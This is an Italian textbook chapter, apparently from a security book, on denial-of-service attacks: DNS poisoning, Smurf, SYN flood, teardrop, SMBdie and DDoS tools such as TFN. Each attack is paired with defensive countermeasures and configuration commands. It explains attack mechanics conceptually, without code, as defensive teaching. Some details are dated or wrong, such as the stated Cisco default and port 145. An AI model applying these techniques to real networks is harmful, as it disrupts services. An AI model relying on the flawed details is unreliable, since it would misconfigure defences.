Attacchi a routing e DNS

Un attacco DoS basato sul routing consiste nella manipolazione da parte dell'hacker delle tabelle di instradamento, in modo da rifiutare il servizio a sistemi o network legittimi. La maggior parte dei protocolli di instradamento (*routing*), come RIP (*Routing Information Protocol*) v1 e BGP (*Border Gateway Protocol*) v4, prevede meccanismi di autenticazione molto deboli (o addirittura non ne prevede alcuno) e, come se non bastasse, questi vengono raramente utilizzati in pratica: si tratta dello scenario ideale per un hacker che voglia modificare i percorsi validi, fornendo un indirizzo IP contraffatto per realizzare le condizioni di rifiuto del servizio. Le vittime di questo tipo di attacco vedranno il proprio traffico instradato sulla rete dell'hacker o in un *buco nero*, ossia una rete inesistente.
Gli attacchi DoS ai DNS (*Domain Name Server*) sono altrettanto preoccupanti. La maggior parte degli attacchi DoS agisce in modo che il server target conservi informazioni fasulle sugli indirizzi: in questo modo, quando il server DNS esegue una ricerca, l'hacker riesce a ridirigerlo su un sito predefinito oppure, in alcuni casi, su un buco nero. Sono passati alla storia numerosi attacchi DoS a server DNS, che hanno reso inaccessibili per parecchie ore siti di grandi dimensioni.
Per comprendere meglio il concetto di "avvelenamento" della cache DNS, osservate la Figura 12.1.

Attacchi DoS generici

Alcuni attacchi DoS sono in grado di colpire molti tipi di sistemi e per questo vengono detti *generici*. Generalmente, tali attacchi ricadono nelle categorie del consumo di larghezza di banda o di risorse. Un elemento comune è la manipolazione dei protocolli: infatti, se utilizzato a fini nefasti, un protocollo come ICMP è in grado di colpire contemporaneamente diversi sistemi. Per esempio, l'hacker potrebbe utilizzare e-mail bomb per inviare migliaia di messaggi di e-mail al sistema target, nel tentativo di consumare contemporaneamente la larghezza di banda e le risorse di sistema del server di posta. Il virus Melissa, in realtà un worm, non è nato come attacco DoS, ma ha sicuramente dimostrato come un'ondata di messaggi e-mail sia in grado di arrestare qualsiasi server di posta. Era talmente veloce a replicare enormi quantità di se stesso, da provocare l'arresto dei server di posta per mancanza di risorse.
Non siamo in grado di rappresentare e affrontare tutte le condizioni plausibili di rifiuto del servizio, ma nel seguito del capitolo illustreremo gli attacchi DoS che riteniamo più rilevanti per la maggior parte degli ambienti informatici.

1) Il PC client chiede di accedere al sito Web di Microsoft, quindi il browser cerca di tradurre il nome www.microsoft.com nel corrispondente indirizzo IP.
2) La cache del server DNS è stata "avvelenata" da un aggressore e restituisce l'indirizzo IP di www.hacker.com invece di quello di Microsoft.
3) A questo punto, il sistema dell'aggressore si presenta spacciandosi per www.microsoft.com.

Figura 12.1
"Avvelenamento" della cache del server DNS.

Smurf

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*6*

L'attacco Smurf è uno dei più temuti, a causa del suo effetto di amplificazione. Questo risulta dall'invio di una richiesta broadcast di ping a una rete di sistemi che risponde a tali messaggi. Una richiesta di questo tipo può essere inviata all'indirizzo della rete, o a quello di broadcast della rete, e presuppone la presenza di un dispo-

sitivo che svolga funzionalità broadcast tra il livello 3 (IP) e 2 (rete). A questo proposito, si veda la RFC 1812, "Requirements for IP Version 4 Routers" (Requisiti per router IP versione 4). Se ipotizziamo che la rete utilizzi un sistema standard di allocazione degli indirizzi di classe C o a 24 bit, l'indirizzo di rete è .0, mentre quello di broadcast è .255. I broadcast indirizzati vengono utilizzati a fini diagnostici, per verificare quali nodi siano attivi, senza effettuare esplicitamente il ping di ogni indirizzo nell'intervallo.

Un attacco Smurf sfrutta questo meccanismo e richiede la presenza di almeno tre soggetti: l'hacker, la *rete di amplificazione* e la vittima. L'hacker invia una serie di pacchetti ICMP ECHO contraffatti all'indirizzo broadcast della rete di amplificazione. L'indirizzo di origine dei pacchetti è falsificato, in modo che il sistema target risulti come fonte della richiesta. A questo punto scoppia il finimondo: avendo ricevuto il pacchetto ECHO all'indirizzo di broadcast, tutti i sistemi della rete di amplificazione rispondono alla vittima (a meno che non siano configurati diversamente). Inviando un solo pacchetto ICMP a una rete di amplificazione contenente 100 sistemi in grado di rispondere, l'hacker riesce a moltiplicare il suo attacco DoS per 100. Definiamo *fattore di amplificazione* il rapporto tra il numero di pacchetti inviati e il numero di sistemi che rispondono. Quindi, se riesce a trovare una rete con un fattore di amplificazione elevato, l'hacker ha una maggiore probabilità di saturare la rete della vittima.

Vediamo un esempio pratico: immaginate che l'hacker riesca a inviare con continuità un traffico ICMP di 14 K all'indirizzo di broadcast di una rete di amplificazione contenente 100 sistemi. La rete dell'hacker è collegata a Internet attraverso una connessione ISDN a due canali, quella di amplificazione mediante un canale T3 a 45 Mbps, mentre quella della vittima mediante un collegamento T1 a 1,544 Mbps. Facendo due semplici conti, si scopre che l'hacker è in grado di generare 14 Mbps di traffico da inviare alla rete della vittima, che ha pochissime probabilità di resistere all'attacco poiché vedrà rapidamente consumarsi tutta la larghezza di banda del collegamento T1.

Una variante di questo tipo di attacco è detta "Fraggle" e utilizza UDP al posto di ICMP. L'hacker invia all'indirizzo di broadcast della rete di amplificazione pacchetti UDP contraffatti, tipicamente sulla porta 7 (echo). Tutti i sistemi della rete su cui sia abilitata l'echo, rispondono all'host della vittima, generando un'enorme quantità di traffico. Se su alcuni sistemi della rete di amplificazione la porta echo è disattivata, viene comunque generato un messaggio ICMP non raggiungibile, che consuma larghezza di banda.

Contromisure a Smurf

Per evitare di essere utilizzati come amplificatore, sarebbe bene disattivare sul router esterno le funzionalità di directed broadcast. Nel caso dei router Cisco, si utilizza il comando:

```
no ip directed-broadcast
```

questo comando disabilita la funzionalità di direct broadcast. Nelle versioni di Cisco IOS a partire dalla 12, questa funzionalità è attiva per default. Nel caso di altri dispositivi, vi rimandiamo alla relativa documentazione.

Inoltre, alcuni sistemi operativi prevedono la possibilità di scartare senza risposta i pacchetti ICMP ECHO broadcast.

Solaris 2.6, 2.5.1, 2.5, 2.4 e 2.3

Per impedire ai sistemi Solaris di rispondere alle richieste broadcast di ECHO è sufficiente aggiungere la seguente riga di codice al file /etc/rc2.d/S69inet:

```
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
```

Linux

Per impedire ai sistemi Linux di rispondere alle richieste broadcast di ECHO, è possibile attivare il firewall a livello di kernel utilizzando ipfw. I pacchetti dei firewall variano secondo la versione del kernel: ipchains e iptable sono comunque i più comuni. Per maggiori informazioni sulla configurazione di questi pacchetti, visitate il sito http://www.redhat.com/support/resources/networking/firewall.html. Con iptable si possono usare i seguenti comandi:

```
iptables -A INPUT -p icmp -d 192.168.1.1/32 -j DROP
iptables -A FORWARD -p icmp -d 192.168.100.255/24 -j DROP
```

Il primo comando avrà l'effetto di non trasmettere i messaggi ICMP inviati allo stesso host (in questo caso 192.168.1.1). Il secondo comando impone al sistema di non inviare richieste ECHO broadcast sulla rete interna, se il sistema viene utilizzato come firewall o router.

FreeBSD

Le versioni di FreeBSD a partire dalla 2.2.5 disattivano, di default, i directed broadcast. In ogni caso, per attivare e disattivare questa funzionalità è necessario modificare il parametro net.inet.icmp.bmcastecho di sysctl.

AIX

AIX 4.*x* disattiva di default le risposte a indirizzi broadcast. Il comando no permette di attivare e disattivare questa funzionalità mediante l'impostazione dell'attributo bcastping e consente di configurare gli attributi di rete del kernel in esecuzione; pertanto deve essere eseguito a ogni riavvio del sistema.

Tutte le varianti UNIX

Per impedire agli host di rispondere all'attacco Fraggle, disattivate echo e chargen in /etc/inetd/conf anteponendo al nome del servizio il simbolo del cancelletto (#).

Durante l'attacco

Se è importante impedire che il proprio sito venga utilizzato come amplificatore, è essenziale comprendere come intervenire se questo diventa oggetto di un attacco. Come già detto nei precedenti capitoli, sarebbe bene limitare il traffico ICMP e UDP in ingresso ai router periferici a quei sistemi della rete sui quali è necessario, e solo ad alcuni tipi ICMP. Certamente, questo non può impedire agli attacchi Smurf e Fraggle di esaurire la vostra larghezza di banda. Vi consigliamo di consultare il vostro ISP per tenere la maggior parte del traffico ICMP il più lontano possibile. Per rafforzare queste contromisure, alcune organizzazioni hanno attivato la funzionalità CAR

(*Committed Access Rate*) presente nelle versioni di Cisco IOS 1.1CC, 11.1CE e 12.0, che permette di limitare il traffico ICMP a livelli ragionevoli, come 256 K o 512 K.

In caso di attacco, per prima cosa occorre contattare il centro operativo di rete NOC (*Network Operations Center*) del proprio ISP. Ricordate che risalire al responsabile dell'attacco è difficile, ma è comunque possibile. Voi e il vostro ISP dovrete collaborare strettamente con il sito di amplificazione che riceve i pacchetti contraffatti. Se il vostro sito è sotto attacco, i pacchetti risulteranno provenire dal sito usato come amplificatore, che vedrà come provenienti dalla vostra rete i pacchetti ottenuti dall'operazione di spoofing.

Esaminando sistematicamente tutti i router a partire dal sito amplificatore e risalendo a quelli precedenti, è possibile ricostruire il percorso dell'attacco fino alla rete di origine: si comincia con lo stabilire su quale interfaccia è stato ricevuto il pacchetto contraffatto, quindi si risale al nodo precedente. Per semplificare questo processo, il gruppo della sicurezza di MCI ha sviluppato uno script perl chiamato "dostracker" in grado di connettersi a un router Cisco e ricostruire il percorso di un attacco contraffatto fino all'origine. Sfortunatamente, questo programma risulta di scarsa utilità se non si controllano o non si può accedere a tutti i router coinvolti.

Vi consigliamo di consultare la RFC 2267, "Network Ingress Filtering: Defeating Denial of Service Attacks Which Employ IP Source Address Spoofing" di Paul Ferguson della Cisco Systems e Daniel Senie di Blazenet Inc.

SYN Flood

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*8*

Fino all'affermazione degli attacchi Smurf, i SYN Flood (inondazione SYN) sono stati gli attacchi DoS più devastanti. L'attacco a PANIX, ricordato all'inizio di questo capitolo, è stato un esempio emblematico delle potenzialità distruttive di un SYN Flood ben organizzato. Vediamo cosa succede esattamente durante un attacco di questo tipo.

Come abbiamo già detto, l'apertura di una connessione TCP è un processo in tre fasi, come mostrato nella Figura 12.2.

Figura 12.2
Una connessione SYN.

In circostanze normali, viene inviato un pacchetto SYN da una specifica porta del sistema A a una specifica porta in ascolto (stato LISTEN) sul sistema B. A questo punto, la potenziale connessione si trova in uno stato SYN_RECV sul sistema B, e questo prova a reinviare un pacchetto SYN/ACK al sistema A. Se tutto va bene, il sistema A restituisce un pacchetto ACK e la connessione passa in stato ESTABLISHED.

Questo meccanismo, che funziona egregiamente la maggior parte dei casi, presenta tuttavia punti deboli che possono essere sfruttati da un hacker per realizzare una situazione di rifiuto del servizio. Il problema è legato al fatto che la maggior parte dei sistemi alloca una quantità limitata di risorse per l'impostazione di una connessione *potenziale*, ossia una connessione non completamente stabilita. Molti sistemi sono in grado di supportare migliaia di connessioni concomitanti a una specifica porta (per esempio, la 80), ma può bastare una decina di richieste di potenziali connessioni per esaurire tutte le risorse assegnate alla realizzazione dei collegamenti. Il meccanismo sfruttato negli attacchi di tipo SYN per disattivare un sistema è esattamente questo.

All'inizio di un attacco SYN Flood, l'hacker invia un pacchetto SYN dal sistema A al sistema B, sostituendo l'indirizzo di partenza con quello di un sistema inesistente. Il sistema B, allora, cerca di inviare un pacchetto SYN/ACK all'indirizzo finto: se questo esiste, normalmente dovrebbe rispondere al sistema B con un pacchetto RST, in quanto non ha richiesto di aprire una connessione. Ricordate, però, che l'hacker ha specificato un sistema non raggiungibile, quindi il sistema B non riceverà mai il pacchetto RST in risposta al proprio SYN/ACK. La connessione potenziale, dunque, si trova in uno stato SYN_RECV e viene posta in una coda di connessione. Il sistema è intenzionato a stabilire il collegamento e la connessione potenziale verrà eliminata dalla coda solo una volta trascorso un certo intervallo di tempo. La durata di questo intervallo varia da sistema a sistema e può andare da 75 secondi a 23 minuti nel caso di implementazioni infelici di IP. Poiché la coda di connessione è normalmente piuttosto corta, all'hacker potrebbe bastare inviare qualche pacchetto SYN ogni 10 secondi per disattivare completamente una specifica porta, in quanto il sistema attaccato non riuscirà mai a esaurire le richieste pendenti prima di ricevere quelle nuove.

Probabilmente avete già intuito cosa rende questo attacco tanto devastante. Innanzitutto, per avviare un SYN Flood efficace è necessaria una larghezza di banda estremamente ridotta. Un hacker con una misera connessione via modem a 14,4 Kbps è in grado di mettere in ginocchio un server di dimensioni industriali. Inoltre, è un attacco "coperto", perché l'hacker falsifica l'indirizzo di partenza del pacchetto SYN, rendendo difficile l'identificazione del responsabile. Questo tipo di attacco è stato ipotizzato per anni da molti esperti di sicurezza ed è funzionale allo sfruttamento delle relazioni di fiducia (si veda `http://www.phrack.org/show.php?p= 48&a=14`).

Contromisure all'attacco SYN Flood

Per stabilire se siete sotto attacco, potete lanciare il comando `netstat -na`, qualora sia previsto dal vostro sistema operativo. Se molte connessioni risultano essere nello stato SYN_RECV, questo potrebbe indicare che è in corso un attacco SYN.

Di seguito, sono delineate quattro strategie di base per affrontare gli attacchi di tipo SYN Flood. Ogni rimedio presenta pro e contro, ma consente di ridurre gli effetti di attacchi SYN focalizzati. Ricordate che non è facile risalire al responsabile dell'attac-

co, perché l'indirizzo di partenza dei pacchetti è contraffatto; tuttavia, il programma dostracker di MCI potrebbe risultare utile (ma richiede l'accesso a tutti i router intermedi sul percorso).

Aumento delle dimensioni della coda di connessione

Le implementazioni dello stack IP differiscono leggermente a seconda del produttore, ma in generale dovrebbe essere possibile regolare la dimensione della coda di connessione per ridurre gli effetti di attacchi SYN Flood. È un rimedio utile, ma certo non rappresenta la soluzione ideale, in quanto impegna ulteriori risorse di sistema e potrebbe influenzare negativamente le prestazioni.

Riduzione della durata del periodo di realizzazione della connessione

Anche la riduzione della durata del periodo di realizzazione della connessione può contribuire a ridurre l'efficacia di un attacco SYN, ma non è comunque la soluzione ideale.

Applicazione di patch software dei produttori per intercettare e annullare potenziali attacchi SYN

La maggior parte dei moderni sistemi operativi implementa meccanismi di intercettazione e prevenzione di attacchi SYN Flood. Il documento CERT CA-96:21, "TCP SYN Flooding and IP Spoofing Attacks", contiene un elenco dei rimedi e delle patch per diversi sistemi operativi.
Da quando gli attacchi SYN hanno iniziato a diffondersi sulla Rete sono state ideate nuove soluzioni per gestire le condizioni di Denial of Service. Per esempio, le versioni del kernel di Linux a partire dalla 2.0.30 implementano l'opzione *SYN cookie*: se viene attivata, il kernel intercetta e registra tutti i possibili attacchi SYN e utilizza un protocollo di challenge cifrato, detto appunto "SYN cookie", per consentire agli utenti autorizzati di continuare a collegarsi, anche in presenza di attacchi pesanti.
Altri sistemi operativi, come Windows NT 4.0 SP2 e superiori, utilizzano code dinamiche (si veda l'articolo Q142641 della Microsoft Knowledge Base). Se la lunghezza della coda di connessione supera un certo limite prestabilito, il sistema alloca automaticamente risorse aggiuntive. In questo modo, la coda di connessione non viene mai saturata.

Utilizzo di IDS di rete

Esistono prodotti di IDS per reti, in grado di riconoscere e reagire ad attacchi SYN. Un attacco SYN è riconoscibile per l'arrivo di numerosi pacchetti SYN senza le relative risposte. Un IDS può inviare al sistema sotto attacco i pacchetti RST corrispondenti alle richieste SYN iniziali, aiutandolo ad alleggerire la coda di connessione.

Attacchi al DNS

Diffusione:	*6*
Semplicità:	*4*
Impatto:	*9*
Fattore di rischio:	*6*

Nel 1997, le versioni di BIND precedenti alla 4.9.5+P1 conservavano nella cache informazioni false se era impostata la ricorsività del DNS. La ricorsività permette a un name server di gestire le richieste riguardanti zone o domini che non copre direttamente: quando riceve un'interrogazione su una zona o dominio non di sua competenza, il server la trasmette al server di riferimento per il dominio specifico. Una volta ricevuta la risposta, il server la restituisce al richiedente.
Sfortunatamente, se il processo ricorsivo viene attivato su una versione vulnerabile di BIND, un hacker è in grado di "avvelenare" la cache del server dei nomi che effettua la ricerca ricorsiva: in questo caso, si parla di *contraffazione di record PTR* (PTR record spoofing) e la tecnica sfrutta il processo di mappatura degli indirizzi IP su nomi host. Il fenomeno presenta notevoli implicazioni a livello di sfruttamento delle relazioni di fiducia basate sulla ricerca dei nomi host, ma apre anche la porta a possibili attacchi DoS basati su DNS. Per esempio, l'hacker potrebbe cercare di convincere il server dei nomi a registrare l'associazione tra `www.example.com` e 0.0.0.10, un indirizzo IP inesistente: quando gli utenti del name server vulnerabile chiederanno di accedere a `www.example.com`, non riceveranno alcuna risposta da 0.0.0.10 e si realizzerà una situazione di rifiuto del servizio per `www.example.com`.

Contromisure per il DNS

Per eliminare i problemi rilevati, aggiornate BIND almeno alla versione 4.9.6 o 8.1.1 e seguenti. Queste versioni di BIND correggono i problemi legati alla contaminazione della cache, ma vi consigliamo di utilizzare la versione più recente disponibile di BIND, che implementa ulteriori correzioni alla gestione della sicurezza. Per maggiori informazioni, vi rimandiamo all'indirizzo `http://www.isc.org/bind.html`. Trovate indicazioni su patch disponibili per prodotti specifici nel documento CERT CA-97.22, "BIND - the Berkeley Internet Name Daemon".

Denial of Service in UNIX e Windows

Nel corso degli ultimi venticinque anni UNIX è diventato famoso per la potenza, l'eleganza e per la capacità di svolgere operazioni a volte inconcepibili. Ovviamente, insieme con la versatilità troviamo maggiori rischi, poiché si aprono molte strade di attacco al sistema. Nel corso degli anni sono state rilevate centinaia di situazioni di rifiuto del servizio nelle numerose varianti di UNIX.
Analogamente a UNIX, Windows di Microsoft ha conosciuto un periodo di crescita esponenziale della popolarità, soprattutto in ambito aziendale. Numerose organizzazioni, nel corso del XXI secolo, hanno affidato le proprie sorti ai sistemi operativi Windows. Molti puristi discutono animatamente su quale sistema operativo sia più potente, ma è innegabile che Windows sia un sistema complesso e dotato di numerose funzionalità. Come nel caso di UNIX, per gli hacker questa ricchezza rappre-

senta anche l'opportunità di sfruttare situazioni di rifiuto del servizio all'interno del sistema operativo Windows e delle relative applicazioni.
La maggior parte degli attacchi DoS può essere suddivisa tra situazioni di rifiuto del servizio locali e remote. Per ogni categoria esistono numerose situazioni possibili; per questo motivo, non ci dilungheremo inutilmente sulle singole tecniche di attacco, ma ci soffermeremo su esempi significativi in grado di illustrare la teoria sottostante: le caratteristiche degli attacchi cambieranno nel tempo, ma se riuscirete a comprendere le basi teoriche dei diversi tipi di attacco, potrete facilmente trovare una soluzione anche per le nuove tecniche. Passiamo quindi a illustrare alcune delle principali situazioni DoS in ciascuna categoria.

Attacchi DoS remoti

Attualmente, la maggior parte delle situazioni di Denial of Service è legata a difetti di programmazione all'interno della specifica implementazione dello stack IP da parte di un certo produttore. Come abbiamo visto nel Capitolo 2, ogni produttore implementa una propria versione dello stack IP: è per questo motivo che il fingerprinting dello stack è così efficace. Poiché le implementazioni di IP sono complesse e in continua evoluzione, è prevedibile che si presentino errori di programmazione. La tecnica di base, applicata in quasi tutti questi attacchi, consiste nell'inviare un particolare pacchetto o una sequenza di pacchetti al sistema target, allo scopo di sfruttare difetti specifici di programmazione. Quando il sistema target riceve tali pacchetti, il risultato può andare dall'elaborazione non corretta dei dati al crash dell'intero sistema.

Ricostruzione dei pacchetti IP frammentati

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*8*

Gli attacchi teardrop (lacrima) e simili sfruttano i punti deboli nel codice per la ricomposizione dei pacchetti, presenti nelle diverse implementazioni dello stack IP. Quando i pacchetti attraversano reti diverse, potrebbe essere necessario suddividerli in parti più piccole (frammenti), in funzione dell'unità massima di trasmissione delle reti (MTU, *Maximum Transmission Unit*). L'attacco teardrop era orientato ai vecchi kernel Linux, che non gestivano correttamente la sovrapposizione dei frammenti IP; infatti, mentre il kernel effettuava controlli di congruenza sulla dimensione di frammentazione, se questa era elevata, non effettuava alcuna validazione se il valore era basso. Di conseguenza, pacchetti realizzati *ad hoc* e inviati a sistemi Linux vulnerabili erano in grado di provocare un riavvio o un arresto del sistema. Tuttavia, Linux non era l'unico sistema operativo esposto a questi attacchi. Windows NT/95 era infatti nelle stesse condizioni: per questo motivo sono nate diverse varianti di questo attacco (newtear.c, syndrop.c e boink.c).

Contromisure per la ricostruzione dei pacchetti IP

Queste possibilità di attacco sono state eliminate nelle versioni successive dei kernel 2.0.X e 2.2.X. Aggiornando il kernel alla versione 2.0.X o 2.2.X più recente, oltre all'eliminazione dei problemi con la frammentazione IP, otterrete una serie di correzioni a problemi di gestione della sicurezza.
Per sistemi Windows, i problemi con la frammentazione IP sono stati affrontati in alcuni fix successivi al Service Pack 3 per Windows NT. Consigliamo vivamente agli utenti di Windows NT di installare il service pack più recente, che contiene correzioni a problemi di sicurezza. Anche gli utenti di Windows 95 dovrebbero installare tutti gli ultimi aggiornamenti.

SMBdie

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

Le versioni RC1 di Windows NT/2000/XP/.NET sono tutte vulnerabili a un attacco di tipo DoS molto comune, rilasciato nel 2002, noto con il nome (molto appropriato) di SMBdie: la versione 0.1 di questo programma fa sì che un indirizzo IP e il nome NetBIOS a esso associato inviino un messaggio che causa il blocco del sistema. Sortendo un effetto analogo a quello provocato dagli attacchi sui vecchi sistemi Windows, che tutti speravamo di poter dimenticare per sempre, SMBdie, sfruttando un punto debole dell'implementazione di Microsoft del protocollo TCP/IP, provoca l'apparizione della tanto temuta schermata blu di Windows, che rende il sistema completamente inutilizzabile costringendo l'utente al riavvio della macchina.

Contromisure a SMBdie

La sola contromisura conosciuta per questo attacco è l'installazione dell'apposita patch di Microsoft, che potete scaricare dal sito `windowsupdate.microsoft.com`, o di bloccare l'accesso alle porte NetBIOS per il protocollo TCP/IP (139 e 145).

Memory leak dello spool di Windows NT e pipe con nome su RPC

Diffusione:	*4*
Semplicità:	*8*
Impatto:	*7*
Fattore di rischio:	*6*

Windows NT presenta un memory leak in spoolss.exe, che consente a utenti non autorizzati di collegarsi a `\server\PIPE\SPOOLSS` e consumare tutta la memoria disponibile sul sistema target. La situazione è ancora più grave perché questo tipo di attacco può essere lanciato da una sessione nulla, anche qualora sia attivata la limitazione delle connessioni anonime (RestrictAnonymous). Questo attacco può im-

piegare qualche tempo prima di disattivare completamente il sistema target e dimostra che le risorse possono essere esaurite lentamente, ossia in un periodo sufficientemente lungo da impedire il riconoscimento.

Contromisure al leak dello spool di Windows NT

Per disattivare questo tipo di attacco da una sessione nulla, è necessario eliminare la voce SPOOLSS dalla chiave del Registro: `HKLM\System\CCS\Services\LanmanServer\Parameters\NullSessionPipes(REG_MULTI_SZ)`. Ricordate che questo rimedio non impedisce a utenti autenticati di portare a segno lo stesso tipo di attacco.

Attacchi DoS con buffer overflow al server FTP di IIS

Diffusione:	*5*
Semplicità:	*3*
Impatto:	*7*
Fattore di rischio:	*5*

Come abbiamo già visto nel Capitolo 7, gli attacchi con buffer overflow possono essere molto efficaci nel compromettere la sicurezza di sistemi vulnerabili. Oltre alle notevoli implicazioni a livello di sicurezza, le situazioni di buffer overflow contribuiscono a realizzare condizioni di rifiuto del servizio. Se la condizione di overflow del buffer non garantisce l'accesso come superutente, spesso può mandare in crash un'applicazione vulnerabile da remoto.
Il server FTP di IIS (*Internet Information Server*, versioni 3.0 e 4.0) è esposto a una situazione di overflow del buffer che si realizza mediante il comando `list` e che potrebbe consentire a hacker remoti di causare l'arresto del server. Il comando `list` dovrebbe essere disponibile solo a utenti autenticati; invece, risulta accessibile anche a utenti FTP anonimi. È importante notare che il fattore di rischio di questa tecnica riflette esclusivamente la situazione di rifiuto del servizio: il valore sarebbe notevolmente più alto se, a seguito della condizione di overflow del buffer, l'utente riuscisse a eseguire un codice arbitrario sul sistema target.

Contromisure agli attacchi Dos al server FTP di IIS

Il Service Pack 5 di Microsoft e alcuni hotfix successivi al Service Pack 4 affrontano questo problema in Windows NT 4.0.

Attacchi stream e raped

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*9*
Fattore di rischio:	*7*

Stream.c (scritto da un autore sconosciuto) e raped.c di Liquid Steel hanno visto la luce all'inizio del 2000. Gli attacchi sono semplici, tra loro simili e piuttosto efficaci.

Entrambi ricadono nella categoria degli attacchi per esaurimento delle risorse e sfruttano l'incapacità del sistema operativo di gestire tutti i pacchetti alterati che gli vengono inviati contemporaneamente. Concepito originariamente per essere un attacco diretto solo a sistemi FreeBSD, sia stream che raped sono oggi in grado di mettere a dura prova molti sistemi operativi, tra cui anche Windows NT. Il sintomo dell'attacco è un elevato utilizzo della CPU (si veda la figura seguente), ma quando l'attacco cessa il sistema torna alla normalità. L'attacco stream.c si basa sull'invio a una serie di porte di pacchetti TCP ACK contrassegnati da numeri di sequenza e indirizzi IP di origine casuali. L'attacco raped.c si basa sull'invio di pacchetti TCP ACK con indirizzi IP contraffatti.

Contromisure agli attacchi stream e raped

Sfortunatamente pochi sistemi operativi mettono a disposizione le patch per questi attacchi. Non siamo a conoscenza di hotfix per Windows NT. Per FreeBSD è possibile applicare la patch non ufficiale (`http://www.freebsd.org/~alfred/tcp_ fix.diff`).

Attacco all'applicazione Administrator di ColdFusion

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*8*

Scoperta da Foundstone nel giugno del 2000, questa vulnerabilità sfrutta un punto debole nell'architettura del software per provocare il crash del server. Il rifiuto del

servizio si verifica durante il processo di conversione della password di ingresso e della password memorizzata, in un formato adatto al confronto quando la password di ingresso è molto grande (superiore a 40.000 caratteri). L'esecuzione di questo attacco è banale e verrà trattata nel Capitolo 15.

Contromisure per l'applicazione Administrator di Coldfusion

Le contromisure per questo tipo di attacco verranno esaminate in dettaglio nel Capitolo 15.

Attacchi DoS distribuiti

All'epoca della pubblicazione della prima edizione di questo libro, nella sua versione originale, il concetto di attacchi DoS distribuiti era puramente teorico. Oggi non si può più parlare di computer senza pronunciare la parola "DDoS". Come per i malefici virus cresciuti come erbaccia su Internet, i mezzi di comunicazione si sono buttati a capofitto sugli attacchi DDoS.

Il primo attacco DDoS in grande stile risale al febbraio 2000. Lanciato prima contro Yahoo e poi successivamente contro E*TRADE, eBay, buy.com, CNN.com e altri, causò il blocco di sette dei principali siti Web conosciuti e di numerosi altri siti di cui nessuno aveva mai sentito parlare. Vorremmo poter dire che questi attacchi furono condotti da un'élite di hacker che volevano imporre le loro stravaganti idee ai poveri utenti della rete, ma purtroppo è vero il contrario.

Gli attacchi DDoS si verificano quando qualcuno (in genere ragazzini annoiati) utilizza il software gratuito disponibile, per inviare un turbinio di pacchetti di dati all'host o alla rete di destinazione nel tentativo di esaurirne le risorse. Per realizzare attacchi DoS distribuiti, l'attacco deve essere portato da diverse sorgenti contemporaneamente e il solo modo per farlo è manomettere i sistemi di computer presenti su Internet.

Il primo obiettivo di un hacker che voglia lanciare un attacco DDoS è individuare e ottenere l'accesso come amministratore sul maggior numero di sistemi possibile. Questa inquietante operazione è in genere realizzata ricorrendo a uno script di attacco personalizzato che consente di individuare i sistemi vulnerabili. Nel corso del libro, abbiamo descritto in che modo l'hacker può arrivare a concepire e realizzare questi script. Per capire quello che sta succedendo, date un'occhiata ai nostri log @Home e DSL firewall. Pirati alle prime armi di tutto il mondo passano il loro tempo a esaminare queste modeste sottoreti, alla ricerca di un sistema configurato in modo errato o di un software vulnerabile che consenta di accedere al computer obiettivo.

Una volta ottenuto l'accesso al sistema, gli hacker caricano il loro software DDoS e lo eseguono. In genere, la maggior parte dei server o dei demoni DDoS rimane in attesa di istruzioni prima di attaccare. Questo consente ai pirati di caricare il software necessario sugli host manomessi e attendere il momento più propizio per inviare l'ordine di attacco.

Nella Figura 12.3 viene illustrato come si svolge un tipico attacco, dalla manomissione di più sistemi all'assalto finale.

Figura 12.3
L'attacco di tipo DDoS (Denial of Service distribuito).

Il numero degli strumenti DDoS cresce mensilmente; quindi un'analisi completa e aggiornata sarebbe impossibile. In seguito esamineremo quelli che secondo noi sono gli strumenti DDoS essenziali: nei paragrafi seguenti ci occuperemo di TFN, Trinoo, Stacheldraht TFN2K e WinTrinoo. Gli altri strumenti sul mercato, come Shaft e mStreams, sono basati su quelli citati in precedenza. Per avere informazioni su mStreams, consultate `http://staff.washington.edu/dittrich/misc/mstream.analysis.txt`.

TFN (Tribe Flood Network)

Diffusione:	7
Semplicità:	5
Impatto:	9
Fattore di rischio:	7

Scritto da un hacker che si faceva chiamare Mixter, TFN è stato il primo strumento DDoS pubblico, basato su UNIX (si trovava principalmente sui sistemi Solaris e RedHat). TFN è composto da un client e da un server; questo consente all'hacker di installare il server su un sistema remoto manomesso e, eseguendo poco più di un co-

mando sul client, avviare un attacco DDoS su vasta scala. Tra i numerosi tipi di attacco che possono essere condotti con TFN, ricordiamo ICMP, Smurf, UDP e SYN Flood. In aggiunta ai componenti utilizzati per l'attacco, TFN consente anche la creazione di una root shell collegata a una porta TCP.
Per maggiori informazioni su TFN, potete consultare il saggio di Dave Dittrich disponibile all'indirizzo `http://staff.washington.edu/dittrich/misc/ddos/`.

Contromisure a TFN

Intercettazione

Su Internet sono disponibili numerosi meccanismi di intercettazione di TFN. Tra questi meritano di essere citati e vale la pena di esaminare DDOSPing di Foundstone (`http://www.foundstone.com`), Zombie Zapper del gruppo Razor di Bindview (`http://razor.bindview.com`) e find_ddos (`http://www.nipc.gov`) realizzato dal NIPC (*National Infrastructure Protection Center*).

Prevenzione

Affinché i propri computer non vengano utilizzati come zombi per sferrare questo tipo di attacchi, è necessario impedire la manomissione dei sistemi. Questo significa mettere in atto tutti i passaggi descritti nel Capitolo 7, dedicato a UNIX, e che comprendono la limitazione dell'utilizzo di servizi non indispensabili, l'applicazione degli aggiornamenti forniti dai produttori di sistemi operativi e delle applicazioni software, e l'impostazione delle autorizzazioni di accesso a file e directory.
Poiché le comunicazioni TFN utilizzano il protocollo ICMP, un'ulteriore misura preventiva consiste nell'impedire il traffico ICMP in ingresso sulla propria rete.
Per proteggere i sistemi dagli attacchi dei sistemi TFN zombi, è possibile impiegare una qualche forma di filtraggio di velocità sui router esterni (per esempio il filtraggio ICMP per limitare gli attacchi ICMP e Smurf), gli stessi disponibili nel sistema operativo Cisco IOS 12.0, e configurare in Cisco IOS 12.0 il servizio CBAC (*Context Based Access Control*), per ridurre il rischio di attacchi SYN.

Trinoo

Diffusione:	7
Semplicità:	5
Impatto:	9
Fattore di rischio:	7

